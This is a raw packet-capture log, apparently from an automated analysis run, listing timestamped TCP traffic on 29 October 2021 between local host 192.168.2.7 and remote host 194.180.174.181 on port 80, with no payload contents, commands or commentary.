Oct 29, 2021 15:30:59.441909075 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.441955090 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.441956997 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442017078 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442032099 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442091942 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442092896 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442151070 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442154884 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442208052 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442213058 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442265987 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442266941 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442322016 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442327976 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442389965 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442404985 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442459106 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442461014 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442516088 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442518950 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442560911 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442588091 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442615032 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442634106 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442677021 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442711115 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442734003 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442735910 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442780972 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442790031 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442828894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442841053 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442883968 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.442893028 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442938089 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442965031 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.442996025 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443077087 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443078041 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443135977 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443139076 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443181038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443192959 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443231106 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443233013 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443279028 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443291903 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443325996 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443339109 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443376064 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443387985 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443424940 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443437099 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443470955 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443484068 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443520069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443531990 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443567991 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443579912 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443624973 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443629026 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443672895 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443686008 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443728924 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443737984 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443779945 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443794012 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443836927 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443839073 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443883896 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443898916 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443943977 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.443944931 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.443989038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444025993 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444046021 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444089890 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444091082 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444138050 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444148064 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444201946 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444214106 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444250107 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444263935 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444299936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444308996 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444363117 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444366932 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444408894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444423914 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444468021 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444468975 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444521904 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444528103 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444570065 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444578886 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444624901 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444628954 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444675922 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444685936 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444725037 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444737911 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444775105 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444781065 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444833040 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444842100 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444911003 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.444937944 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.444987059 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.445008039 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.445050001 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.445056915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.445106983 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.445127964 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.445158958 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.445174932 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.445241928 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.445241928 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.445295095 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.445400953 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448098898 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448159933 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448221922 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448224068 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448251963 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448281050 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448282957 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448329926 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448343992 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448380947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448395014 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448430061 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448442936 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448492050 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448498964 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448554993 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448556900 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448611975 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448626041 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448674917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448683023 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448734045 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448740005 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448792934 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448807001 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448862076 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448875904 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.448950052 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.448951006 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449009895 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449023962 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449074030 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449090004 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449146032 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449151993 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449203968 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449222088 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449260950 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449265957 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449292898 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449309111 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449326038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449338913 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449353933 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449378967 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449383020 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449397087 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449414015 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449426889 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449443102 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449455976 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449471951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449486971 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449501038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449517012 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449529886 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449544907 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449562073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449579954 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449593067 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449609041 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449621916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449636936 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449651003 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449667931 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449681044 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449697018 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449711084 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449726105 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449740887 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449754000 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449769974 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449784040 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449799061 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449814081 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449827909 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449848890 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449856043 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449870110 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449886084 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449906111 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449918032 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449923038 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449943066 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449964046 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.449974060 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.449980974 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450000048 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450020075 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450028896 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450042009 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450057983 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450078964 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450087070 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450099945 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450126886 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450143099 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450156927 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450172901 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450186968 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450198889 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450216055 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450236082 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450246096 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450263977 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450275898 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450299025 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450304985 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450321913 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450335026 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450350046 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450371981 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450386047 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450401068 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450421095 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450428963 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450443983 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450459003 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450472116 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450488091 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450506926 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450517893 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450526953 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450546026 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450565100 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450575113 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450586081 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450603008 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450623989 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450632095 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450644970 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450659990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450680971 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450690031 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450700998 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450717926 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450741053 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450747967 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450769901 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450776100 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450798035 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450804949 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450824976 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450834990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450858116 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450865030 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450887918 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450896025 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450922012 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450930119 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450943947 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.450962067 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.450990915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451015949 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451042891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451047897 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451067924 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451091051 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451098919 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451118946 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451121092 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451148033 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451148987 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451170921 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451179981 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451189995 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451206923 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451225042 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451236963 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451262951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451283932 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451288939 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451322079 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451345921 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451356888 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451373100 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451383114 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451400995 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451415062 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451430082 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451442957 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451457977 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451468945 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451488018 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451518059 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451520920 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451540947 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451549053 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451564074 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451579094 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451594114 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451607943 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451617002 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451634884 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451657057 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451678038 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451684952 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451709032 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451714039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451735973 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.451736927 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451761007 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.451776028 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.485356092 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.485435963 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.485515118 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.485568047 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.485573053 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.485630989 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.491818905 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.491848946 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.491866112 CEST	80	49841	194.180.174.181	192.168.2.7
